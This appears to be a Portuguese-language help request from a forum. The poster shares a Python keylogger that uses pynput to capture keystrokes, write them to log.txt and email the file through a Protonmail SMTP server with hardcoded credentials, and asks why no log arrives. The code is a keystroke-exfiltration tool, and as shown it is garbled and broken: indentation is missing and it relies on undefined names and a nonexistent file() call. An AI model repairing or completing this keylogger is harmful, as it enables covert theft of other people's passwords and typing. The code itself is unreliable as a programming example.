O código rodou sem erros aparentemente em estado 'executando' até pressionar CTRL C e aparecer keyboard interrupt como o print abaixo mostra, porém ele não está realizando a tarefa determinada, pois na minha caixa de entrada não apareceu nenhum arquivo log.txt.
from datetime import datetime
from threading import Timer
from email.mime.text import MIMEText
import smtplib
import pynput
my_email = 'amanegro@protonmail.com'
my_pass = 'X86|NOR|X0R'
rec = 60
keys = []
def callback():
while True:
try:
print('alphanumeric key {0} pressed'.format(key.char))
except AttributeError:
print('special key {0} pressed'.format(key))
def record():
try:
host = smtplib.SMTP('smtp.protonmail.ch', port=1025)
host.starttls()
host.login(my_email, my_pass)
for key in keys:
filename = 'log.txt'
f = file(filename)
attachment = MIMEText(f.read())
attachment.add_header('Content-Disposition', 'attachment', filename=filename)
msg.attach(attachment)
k = str(key).replace("'", '')
f.write(k)
f.write(' ')
except Exception as e:
host.sendmail(my_email, record(filename))
host.quit()
if verbose():
print(f'{datetime.now(filename)}')
pass
def start():
if key == keyboard.Key.enter:
return False
print('{0} released'.format(key))
timer = Timer(interval=rec, function=record())
timer.daemon = True
timer.start()
with keyboard.Listener(on_press=on_press,on_release=on_release) as listener:
listener.join()
callback()
record()